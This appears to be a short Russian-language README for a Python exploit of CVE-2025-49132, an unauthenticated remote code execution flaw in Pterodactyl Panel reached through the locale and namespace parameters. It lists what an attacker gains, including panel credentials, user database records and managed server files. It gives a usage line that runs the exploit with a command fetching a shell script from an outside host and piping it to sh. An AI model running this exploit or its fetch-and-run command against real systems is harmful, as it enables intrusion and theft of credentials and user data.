scroollocker/cve-2025-49132Эксплойт на Python для CVE-2025-49132, позволяющий неавторизованное удаленное выполнение кода на Pterodactyl Panel через специально сформированные параметры locale и namespace.
Воздействие
Используя /locales/locale.json с параметрами запроса locale и namespace, злоумышленник может выполнить произвольный код без аутентификации.
Обладая возможностью выполнять произвольный код, эту уязвимость можно использовать бесчисленным множеством способов. Она может быть использована для получения доступа к серверу панели, чтения учётных данных из конфигурации панели (.env или иных), извлечения конфиденциальной информации из базы данных (такой как данные пользователей [имя пользователя, email, имя и фамилия, хэш пароля, IP-адреса и т.д.]), доступа к файлам серверов, управляемых панелью, и т.д.
Как использовать
python exploit.py --target "pterodactyl.htb" --cmd 'curl http://10.10.14.22:8080/dbs.sh | sh'